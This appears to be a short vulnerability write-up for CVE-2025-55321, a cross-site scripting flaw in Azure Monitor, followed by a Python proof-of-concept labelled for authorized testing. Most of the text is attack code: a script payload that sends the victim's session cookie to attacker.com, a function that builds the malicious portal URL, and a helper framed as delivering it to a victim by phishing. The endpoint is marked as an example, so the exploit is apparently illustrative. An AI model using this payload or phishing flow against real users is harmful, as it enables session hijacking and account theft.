Improper neutralization of input during web page generation ('cross-site scripting') in Azure Monitor allows an unauthorized attacker to perform spoofing over a network.
The following code is for security research and authorized testing only.
python
# CVE-2025-55321 - Azure Monitor XSS Vulnerability PoC
# This is a conceptual PoC demonstrating the reflected XSS vulnerability
# Malicious URL crafted to exploit the XSS vulnerability in Azure Monitor
# The payload injects JavaScript through an unsanitized input parameter
import requests
from urllib.parse import quote
TARGET_URL = "https://portal.azure.com"
# The vulnerable endpoint in Azure Monitor (example)
VULNERABLE_ENDPOINT = "/api/monitor/workspaces"
# XSS payload that steals session cookies
XSS_PAYLOAD = """
<script>
document.location='https://attacker.com/steal?cookie='+document.cookie;
</script>
"""
def craft_malicious_url():
"""Craft a malicious URL that exploits the XSS vulnerability"""
encoded_payload = quote(XSS_PAYLOAD)
malicious_url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}?search={encoded_payload}"
return malicious_url
def send_exploit(target_user_email):
"""Send the malicious URL to the target user via phishing"""
url = craft_malicious_url()
print(f"[+] Malicious URL crafted: {url}")
print(f"[+] Send this URL to the victim: {target_user_email}")
# In a real attack scenario, this URL would be sent via email or messaging
return url
# Example usage
if __name__ == "__main__":
exploit_url = send_exploit("[email protected]")
print(f"\n[!] When the victim clicks the URL while logged into Azure Monitor,")
print(f"[!] their session cookie will be sent to the attacker's server.")